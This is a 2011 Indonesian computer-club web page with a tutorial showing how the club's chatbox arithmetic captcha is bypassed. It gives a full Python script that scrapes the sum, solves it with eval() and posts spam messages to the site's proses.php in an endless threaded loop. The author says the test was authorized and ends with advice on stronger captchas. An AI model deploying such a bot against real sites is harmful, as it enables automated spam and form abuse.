Home | Register | Lupa Password | NEWS :


DIPANEGARA COMPUTER CLUB
BTN Antara Blok C10 No. 2, Makassar

Tidak ada agenda untuk kegiatan

DCCHeader BiruIndahnya Kebersamaan
DCC chatbox Captcha bypassed[Basic Consep Of Spammer]
DCC chatbox Captcha bypassed[Basic Consep Of Spammer]
Oleh: ppyton | Minggu, 18 Desember 2011 | 4 Komentar Kategori: Teknologi View 446

DCC chatbox Captcha bypassed

    Halo teman-teman back lagi dengan penulis kali ini penulis masih akan membahas sedikit tentang sebuah captcha . pada kali ini penulis membahas tentang captcha DCC pada chatbox . :) ya seperti di lihat sebelumnya banyak skali spammer yang berlalu lalang di chatbox dcc kemarin.kali ini penulis akan memberitahukan bagaimana sebenarnya spammer itu bisa membypass captcha DCC pada chatbox . tutorial ini hanya pembelajaran semata .beberapa jam yang lalu penulis memposting sebuah artikel http://dcc-dp.org/berita137-the-secret-of-captchabreaking-captcha-n-new-captcha-solution-.html (The Secret of Captcha[Breaking Captcha n New Captcha Solution ] ) .alangkah baiknya kalian membaca dulu artikel itu . :) ok langsung saja .
    
    Analyze the captcha
    Ya contoh pada captcha DCC seperti kita lihat tidak mengunakan image proccesing . hanya mengandalkan javascript generate atau bisa di dengan mengunakan php .setelah di analisis penulis menduga ini mengunakan php karena penulis tidak mendapatkan code javascript yang menghandle ini . bisa si penulis asumsikan seperti ini:
    [code]
      $hasil = $acak1 + $acak2;
      $_SESSION['capcay'] = $hasil;
    [/code]
    
    Diagram
[code]     

        +------------+
     +--|Parse html  |
     |  +------------+
     |        | +----------------+
     |        |_| get cookies and|
     |          | scrap captcha  |
     |          +----------------+
     |                  |                  
     |          +---------------+              
  +-----------+ | sum the string|  
  | Repeat  & | |               |   
  | Threading | +---------------+
  +-----------+         |
     |                  |    
     |            +--------------+  
     |            |   Post       |   
     |            | the Result   |
     |            | get response |
     |            +--------------+
     |_ ________________|

     #gambar lebih jelas : http://pastebin.com/gj1rasWM
[/code]                            
     
     Jadi di sini si penulis mengunakan teknik parse html / scraping http://dcc-dp.org/berita116-python--web-scraping--parsingscreen-scraping-web-pages-.html untuk mendapatkan captchanya beserta cookies / sessionnya untuk mendapatkan captcha sedikit mengunakan teknik regex. nah setelah captcha di dapatkan kita hitung captchanya dengan fungsi eval() dan post resultnya dan repeat dengan mengunakan threading .
     
     Analyze the html
     [code]
     .......
    

Nama :

http://

Message :

41 + 6 = loading...
     .......
     lebih jelas : http://pastebin.com/TaR3pXTF
     [/code]
     
     Nah pada potongan code di atas kita melihat form method post dan action=proses.php dari sini kita tau bahwa code untuk post adalah proses.php ini yang dimana kita akan gunakan untuk mempost data2 yang kita butuhkan .dalam kali ini url http://dcc-dp.org/proses.php .
     next di sini ada tag2 html yang kta butuhkan sebagai key untuk post data
     yaitu      mari kita lihat implementasinya pada code kita .
     
     [code]
     values = {'name' :'raiseofbot',
               'url'  :'http://arnold.com',
           'message': 'Your Captcha is bypassed !!',
           'jawaban': angka,
           'submit' :'Kirim'
      }
      post_data = urllib.urlencode(values)
      HTML = urllib2.Request('http://dcc-dp.org/proses.php', post_data) <-- data di post .
      [/code]
      
      nah sekarang bagaimana dapatkan captchanya ??
      simple coba lihat ini 41 + 6 = < / font> so bagaimana ?? ya dengan sedikit keahlian regex(regular express http://docs.python.org/library/re.html)
      
      coba lihat code ini :
      [code]
      re1='.*?(\\+)(.).*?(=)'
      # .*? = dapatkan apapun yang berupa angka di dalam tag
      # (\\+) = nah karena captcha ini cuman hanya penambahan jadi kita bisa cari yang dimana ada tanda tambah
      # (.).*?(=) = nah cari setelah penambahan ada sebuah angka lagi dan akhir adalah =
      # di atas adalah penjelasan regex . ada baiknya kalian baca2 regex kalau ingin lebih tau .
      
      rg = re.compile(re1,re.IGNORECASE|re.DOTALL) <-- setelah berhasil compile patternya
      m = rg.search(htmlcode_page) <-- dan cari patternya di dalam var htmlcode_page yang var ini berisi semua isi page beranda dcc
      if m: <-- dan jika ketemu
         c1=m.group() <--maka dapatkan semua hasilnya.yang dimana hasilnya itu contoh : "4+4 ="
         c2 = c1.replace('','').replace('=','') <--nah kita perlu menghapus "" jadi gunakan replace()
         angka = eval(''.join([str(x) for x in c2])) <-- masukan hasil ke eval agar di proses dan di dapatkan hasilnya
      [/code]
      
      dan akhirnya captcha terbypass dengan begitu mudahnya :D .. ini code lengkapnya .
[code]
#!/usr/bin/env python
#coder by jimmyromanticdevil
#DCC chatbox Captcha bypassed
#Dedicate for DCC (Dipanegara Computer Club)
import urllib2
import urllib
import cookielib
import re
import time
import threading
from threading import Thread

def main():
  print "|=============== [ the Raise of Robot ] ===============|"
  print "|===============DCC chatbox Captcha bypassed===========|"
  print "\==============Coder by jimmyromanticdevil ============/"
  while True:    
      #----------------------code untuk mendapatkan Cookies/session------------#
      cookieJar = cookielib.LWPCookieJar()
      opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
      #----------------------------------#
      opener.addheaders = [('User-agent', "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506)")]
      HTML = urllib2.Request('http://dcc-dp.org/beranda')
      Page = opener.open(HTML)
      htmlcode_page = Page.read()
      re1='.*?(\\+)(.).*?(=)'
      rg = re.compile(re1,re.IGNORECASE|re.DOTALL)
      m = rg.search(htmlcode_page)
      if m:
         c1=m.group()
         c2 = c1.replace('','').replace('=','')
         angka = eval(''.join([str(x) for x in c2]))
         print 'Captcha : %s dan Hasil :%s'%(c2,angka)
         values = {'name' : 'raiseofbot',
               'url'  : 'http://arnold.com',
               'message' : 'Your Captcha is bypassed !!',
               'jawaban' : angka,
                'submit':'Kirim'
      }
         post_data = urllib.urlencode(values)
         HTML = urllib2.Request('http://dcc-dp.org/proses.php', post_data)
         Page = opener.open(HTML)
         print '0-> Succes Baypassed'
       

if __name__ == '__main__':
    t = Thread(target=main)
    t.start()
[/code]      
    
    Maka outputnya akan seperti begini :
   
http://i44.tinypic.com/30neo36.jpg

 

    http://i43.tinypic.com/16hjm9i.jpg
    
    Wah jadi ternyata begitu yah caranya spammer memasuki chatbox DCC .. iya begitu lah konsepnya ... ;) Nah Pada hari ini juga saya masih menjalankan code ini tetapi sudah tidak work respon yang bagus dari admin ka sate :) .. kenapa ?? karena ad sedikit perubahan pada code htmlnya ..tapi sayang captcha ini masih mengunakan konsep di atas .jadi captcha ini masih bisa di bypass dengan mengunakan konsep di atas.. :)
    
    Kesimpulan :
     Jadi kita tau bahwa captcha seperti begini bersifat sangat lemah . terbukti dengan sedikit pengetahuan html parse/scrap di padukan dengan regular express ( regex ) kita sudah bisa membypass sebuah captcha seperti ini . untuk solusi2 captcha yang baik dari saya silahkan baca lagi sampai selesai artikel saya sebelumnya . http://jimmyromanticdevil.wordpress.com/2011/12/18/the-secret-of-captchabreaking-captcha-n-new-captcha-solution/ . atau bisa mengunakan captcha sepakbola yang sudah di terapkan pada saat kita ingin komentar postingan di DCC . captcha itu lumyan bagus dan secure . :) ok saya rasa cukup untuk tutorial kali ini . kalau ada salah mohon maaf . :) makasih buat ka sate di ijinkan test securty captchanya Chatbox Dcc .. ok tutorial ini di tujukan untuk pembelajaran tidak untuk hal2 yang negatif . ok semogah berguna .. happy coding dan researching .. ^,^
     
     Special thanks to my princess , Kak Sate,Hardiknas, K Ahmad Asto,dn all sister n my broth at DCC (Dipanegara Computer Club) and you . Without u all i am nothing .. :)
     
     Real Source :
     http://jimmyromanticdevil.wordpress.com/2011/12/18/dcc-chatbox-captcha-bypassedbasic-consep-of-spammer/

      
      
     

berita terkait

4 KOMENTAR
" Jimmy, buatkan donk Captcha yang aman untuk Chatnya DCC. Kemudian, Captcha yang sepakbola ini kalau salah kita masukkan Captchanya, langsung ter refresh halamannya..jadi seandainya sudah panjang komentar yang kita tulis, langsung terhapus lagi pesannya..jadina harus mengetik ulang lagi.. :'( "
dikomentari oleh: Ijal, 19 Desember 2011 || 08:14:57
" oke..oke "
dikomentari oleh: sate, 19 Desember 2011 || 10:08:43
" Chermen ... sebenarnya bukan Captchanya yang kurang bagus .. tapi form2 html komentarnya yang perlu di ubah sedikit .... ;) captchanya udah bagus kuq ... pengolahan imagenya juga udh pas.... jadi sy sih prefer sarankan masih pake captcha jenis ini sj ... :) untuk selanjutnya tanya ka sate sj ... :) "
dikomentari oleh: rahmat ramadhan, 19 Desember 2011 || 12:18:05
" Saya rasa anda berdua ahlinya (think) "
dikomentari oleh: Ijal, 20 Desember 2011 || 23:29:32

KOMENTAR ANDA
Nama
Website/Email
Komentar
 
Captcha Sepakbola
Apakah anda manusia?Lebih baik lagi kalau anda menyukai sepak bola
Sebutkan pemain sepak bola disamping:

Captcha Sepakbola by codingwear
KATEGORI


POPULER
  


shoutmix
12 Mei 2012 | 10:39:21
kasi tahu gak yah :
apa kabar semua???
09 Mei 2012 | 15:41:47
TukangSedotWC :
08 Mei 2012 | 20:17:29
Patris :
haiiiii ka' sdh aku pasang bannerx tu, banner ku tolong d'pasang jga,http://patrisbluesky.blogspot.com/
08 Mei 2012 | 03:11:17
adi :
hy
08 Mei 2012 | 03:11:11
adi :
hy
05 Mei 2012 | 14:51:28
FRB :
03 Mei 2012 | 11:46:01
manny :
kangen basecamp...
02 Mei 2012 | 02:42:21
Muhammad Ikhsan HR :
21 April 2012 | 23:53:35
nine9 :
21 April 2012 | 15:55:28
Zuhry :
20 April 2012 | 22:46:41
ABIE :
20 April 2012 | 22:44:16
ABIE :
MALAM SMUA,,,APA KBAR
20 April 2012 | 12:33:05
onhe :
20 April 2012 | 12:32:48
onhe :
19 April 2012 | 17:05:38
gyn :
sapa deh... haii decece
14 April 2012 | 18:44:24
onhe :
13 April 2012 | 03:05:18
Anjaz :
09 April 2012 | 16:37:06
sate :
solusi yang mana mas..
09 April 2012 | 14:47:13
panoel_laaros :
bos solusi masala.na kok gak di tulis jga
09 April 2012 | 14:47:04
panoel_laaros :
bos solusi masala.na kok gak di tulis jga
Show Form Hide Form

Nama :

http://

Message :



   

09 April 2012
Share The Code With Programming
STMIK Dipanegara Makassar
12 Februari 2012
IT For The Bright Future
Semua Sekolah
07 Januari 2012
Seminar [Android Is Easy - From Beginner To Expert]
Gedung PKP Unhas (Universitas Hasanuddin) - Jl. Perintis Kemerdekaan KM.9



  • Malaikat 'Steve Jobs' Iklankan Android, Fans Apple Berang

  • AI( Artificial Intelligence / Kecerdasan Buatan )

  • RSS Follow us on Twitter Become our friend on Facebook One-X Mobile Preferred for IP Office, Aplikas

  • 3 Mahasiswa Drop Out yang Jadi Miliuner Teknologi

  • Pengguna Google+ Wajib Rentan Terhadap Ancaman Scam



INFORMASI
512296
Pengunjung hari ini : 207
Total pengunjung : 40913
Hits hari ini : 5676
Total Hits : 512296
Pengunjung Online: 5
38.107.179.211

GaleriFoto Dipanegara Computer Club - OFFCIAL WEBSITE

FIND US:
Facebook | Hubungi Kami | Home
DCC | Created By Crew DCC | Copyright © 2011
Inspirated Template by Kiwilstudo | Griyagaya | SandBOX | Best Performance : Firefox | Google Crome